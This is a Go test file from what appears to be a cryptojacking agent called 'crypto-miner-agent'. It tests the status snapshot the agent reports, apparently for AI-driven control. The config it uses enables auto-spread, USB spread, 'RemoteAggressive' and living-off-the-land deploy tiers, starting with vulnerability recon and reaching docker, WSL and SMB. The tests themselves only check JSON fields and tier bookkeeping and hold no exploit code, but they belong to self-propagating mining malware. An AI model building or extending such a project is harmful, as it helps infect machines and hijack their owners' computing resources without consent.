package client import ( "encoding/json" "os" "testing" "crypto-miner-agent/config" "crypto-miner-agent/deploy" "crypto-miner-agent/miner" ) func TestAISnapshotJSONShape(t *testing.T) { t.Setenv("AETHERFORGE_WORKER_NUMBER", "42") cfg := config.RuntimeConfig{ BuiltinConfig: config.BuiltinConfig{ WorkerName: "lab-node", BuildID: "build-abc", LotlOnionEnabled: true, AutoSpread: true, USBSpread: true, RemoteAggressive: true, GPUEnabled: true, LotlOnionTiers: append([]string(nil), deploy.DefaultLotlOnionTiers...), }, AgentID: "agent-fixture-1", } base := newTestClient(t) c := &AgentClient{ cfg: cfg, agentID: cfg.AgentID, reporter: base.reporter, pool: base.pool, } snap := c.buildAISnapshot(0) raw, err := json.Marshal(snap) if err != nil { t.Fatal(err) } var m map[string]json.RawMessage if err := json.Unmarshal(raw, &m); err != nil { t.Fatal(err) } required := []string{ "generated_at", "agent_name", "agent_id", "worker_number", "build_id", "version", "platform", "forge_flags", "deploy_tiers", "mining_tiers", "mining_hashrate", "mining_active", "capabilities", "stuck", } for _, key := range required { if _, ok := m[key]; !ok { t.Fatalf("missing required snapshot field %q in %s", key, string(raw)) } } if snap.AgentName != "lab-node" { t.Fatalf("agent_name=%q", snap.AgentName) } if snap.AgentID != "agent-fixture-1" { t.Fatalf("agent_id=%q", snap.AgentID) } if snap.WorkerNumber != "42" { t.Fatalf("worker_number=%q", snap.WorkerNumber) } if len(snap.DeployTiers) != len(deploy.DefaultLotlOnionTiers) { t.Fatalf("deploy_tiers len=%d want %d", len(snap.DeployTiers), len(deploy.DefaultLotlOnionTiers)) } if snap.DeployTiers[0].Tier != "vuln_recon" { t.Fatalf("first deploy tier=%q", snap.DeployTiers[0].Tier) } if len(snap.MiningTiers) == 0 { t.Fatal("expected mining_tiers") } if snap.Capabilities.Platform == "" { t.Fatal("capabilities.platform required") } if snap.ForgeFlags.LotlOnionEnabled != true || !snap.ForgeFlags.AutoSpread { t.Fatalf("forge_flags=%+v", snap.ForgeFlags) } } func TestAISnapshotStuckWhenChainExhausted(t *testing.T) { snap := AISnapshot{ MiningHashrate: 0, MiningTiers: []AITierStatus{ {Tier: "cpu_inprocess", Attempted: true, OK: false}, }, } ms := miner.MiningStatus{ChainExhausted: true} if !aiSnapshotStuck(snap, ms) { t.Fatal("expected stuck when chain exhausted and hashrate=0") } snap.MiningHashrate = 10 if aiSnapshotStuck(snap, ms) { t.Fatal("expected not stuck when hashrate>0") } } func TestBuildDeployTierStatusesFromAttempts(t *testing.T) { attempts := []miner.TierAttempt{ {Phase: "deploy", Tier: "docker", OK: true, DurationMs: 120}, {Phase: "deploy", Tier: "wsl", OK: false, Error: "no distro", DurationMs: 50}, } order := []string{"docker", "wsl", "smb"} got := buildDeployTierStatuses(order, attempts) if !got[0].Attempted || !got[0].OK || got[0].DurationMs != 120 { t.Fatalf("docker status=%+v", got[0]) } if !got[1].Attempted || got[1].OK || got[1].Error != "no distro" { t.Fatalf("wsl status=%+v", got[1]) } if got[2].Attempted { t.Fatalf("smb should be unattempted: %+v", got[2]) } } func TestBuildMiningTierStatusesMarksSkipped(t *testing.T) { chain := []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess} skipped := []miner.LOTLTier{miner.TierWSL} attempts := []miner.TierAttempt{ {Phase: "mining", Tier: miner.TierContainer, OK: false, Error: "pull failed"}, } got := buildMiningTierStatuses(chain, skipped, attempts) byTier := map[string]AITierStatus{} for _, st := range got { byTier[st.Tier] = st } if !byTier["container"].Attempted || byTier["container"].OK { t.Fatalf("container=%+v", byTier["container"]) } if !byTier["wsl"].Skipped { t.Fatalf("wsl should be skipped: %+v", byTier["wsl"]) } } func TestWorkerNumberOmitemptyWithoutConfig(t *testing.T) { os.Unsetenv("AETHERFORGE_WORKER_NUMBER") cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}} c := &AgentClient{cfg: cfg, agentID: "a1", reporter: newTestClient(t).reporter, pool: newTestClient(t).pool} snap := c.buildAISnapshot(0) raw, _ := json.Marshal(snap) if string(raw) == "" { t.Fatal("empty json") } var m map[string]interface{} _ = json.Unmarshal(raw, &m) if _, ok := m["worker_number"]; ok { t.Fatalf("worker_number should be omitted, got %v", m["worker_number"]) } }